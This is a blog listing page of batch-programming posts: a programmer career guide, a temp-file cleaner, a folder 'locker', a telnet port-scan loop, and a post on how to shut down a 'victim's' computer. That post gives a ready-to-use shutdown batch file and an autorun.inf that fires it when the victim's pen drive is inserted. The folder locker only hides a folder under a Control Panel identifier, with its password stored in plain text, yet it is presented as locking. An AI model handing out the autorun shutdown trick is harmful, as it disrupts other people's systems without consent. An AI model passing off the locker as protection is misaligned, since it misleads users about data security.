Skip to main content

Posts

Showing posts with the label Batch Programming

How to Become a Programmer

Becoming a programmer is a cumulative process that builds up your skills day after day and year after year, and programming can be fun and rewarding (mentally, spiritually and financially). This guide does not promise to give a magically easy way to becoming a programmer, and the ordering of the steps is not sacred, but you'll get a general outline of how to become a programmer in one of the modern programming fields. Steps Take an introductory course in one (or both) of the following disciplines : Logic Discrete mathematics Learn database concepts such as tables, views/queries and procedures . You can use any simple database package to do this, such as: MS Access DB V Fox Pro Paradox MySQL is a good database to learn because it’s free, commonly used, and databases are commonly accessed with SQL queries Decide what type of programmer you want to be . Programmers generally fall under one of the following categories: Web programmer Desktop application programmer Operating system (OS)...

Delete all temporary files by simple click |Batch Programming

I am going to guide you to create a Batch Program to delete all unwanted temporary files from your temp folder.   1.Copy this code : ECHO This Batch File deletes all unwanted Temporary files from your system ECHO Now we go to the Windows\temp directory. cd %temp% ECHO Deleting unwanted temporary files.... del *.tmp ECHO Your System is Now Clean 2.Paste in Notepad 3.Now save the file with ".bat" extenstion for eg: tempdel.bat 4. That's all finished 5.Whenever you like to delete temporary files. simply Double click the bat file. 

How to shutdown your victim's system using pen drive

Step 1: copy this code into notepad: @echo off shutdown -s -t 00 Save it with .bat extension (for eg: clickme.bat). Step 2:         Now open the notepad and copy this code: [autorun] Open=filename.bat Action=Mouse Disable    Save it as "autorun.inf" //don't forget to change the "filname.bat" with your filname.bat. Step 3:           Then copy the two files in your pen drive or victim's pen drive. That's all whenever the victim insert his pen drive,the system will be turned off automatically.  

How to lock a folder without any software (Batch Programming)

Locker Code: cls @ECHO OFF title Folder Locker if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK if NOT EXIST Locker goto MDLOCKER :CONFIRM echo Enter password to lock folder or for cancel press N set/p "cho=>" if %cho%==XXXX goto LOCK if %cho%==n goto END if %cho%==N goto END echo Invalid choice. goto CONFIRM :LOCK ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" echo Folder locked goto End :UNLOCK echo Enter password to Unlock folder set/p "pass=>" if NOT %pass%==XXXX goto FAIL attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Locker echo Folder Unlocked successfully goto End :FAIL echo Invalid password goto end :MDLOCKER md Locker echo Locker created successfully goto End :End Copy this Code into notepad and replace the XXX...

A simple batch program for Port Scanning

Hi friends in this post we are going to see how to create Batch programming for port scanning.  Open Notepad Paste this code: @ECHO off color 0a cd\ C: cls for /L %%v in (1,1,11) do telnet %1 %%v GOTO scan2 :scan2 for /L %%w in (12,1,20) do telnet %1 %%w Save it with .bat extension(for eg: portscanner.bat) Goto command prompt and, goto the exact location of where this port.bat is located. now type the following command on the command prompt.   port 127.0.0.1 This will port scan upto 20 continuous ports starting from 1 to 20 on your localhost. This is not much efficient and not much reliable, but this is just to show, that there is a possibility for port scanning automation using Batch file programming. - See more at: http://www.breakthesecurity.com/2010/12/simple-batch-program-for-port-scanning.html#more